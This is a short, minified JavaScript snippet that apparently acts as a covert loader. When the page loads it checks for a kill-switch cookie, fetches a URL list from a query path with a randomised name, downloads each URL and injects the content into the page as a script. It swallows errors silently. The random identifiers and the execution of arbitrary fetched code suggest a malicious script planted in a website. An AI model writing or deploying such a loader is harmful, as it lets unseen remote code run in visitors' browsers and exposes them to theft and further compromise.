var intervalId = setInterval(function() { if (document.readyState === 'complete' || document.readyState === 'interactive') { clearInterval(intervalId); _start(); } }, 1000); function _start() { try { if (document.cookie.indexOf('Jf8y6S2aifZVynJb6hEZ') !== -1) { return; } run(); } catch (e) { } function run() { getListOfHosts(function(err, urls) { if (err) { return; } for (var i = 0; i < urls.length; i++) { getUrl(urls[i], function(err, resp) { if (err) { return; } var s = document.createElement('script'); s.innerHTML = resp; document.body.appendChild(s); }); } }); } function getUrl(url, cb) { var x = new XMLHttpRequest(); x.open('GET', url, true); x.onreadystatechange = function() { if (x.readyState === 4) { cb(null, x.responseText); }; }; x.send(); } function getListOfHosts(cb) { var x = new XMLHttpRequest(); x.open('GET', '/?sXnj0DSOvuqJQ7SnZkS6=1', true); x.onreadystatechange = function() { if (x.readyState == 4 && x.status == 200) { var start = '3BVKIGQA0lhCLzrxTFM7_start'; var end = '3BVKIGQA0lhCLzrxTFM7_end'; var startIndex = x.responseText.indexOf(start); var endIndex = x.responseText.indexOf(end); if (startIndex == -1 || endIndex == -1) { cb('invalid response'); return; } startIndex += start.length; var response = x.responseText.substring(startIndex, endIndex).trim(); var arr = response.split(String.fromCharCode(10)); cb(null, arr); } }; x.send(); } }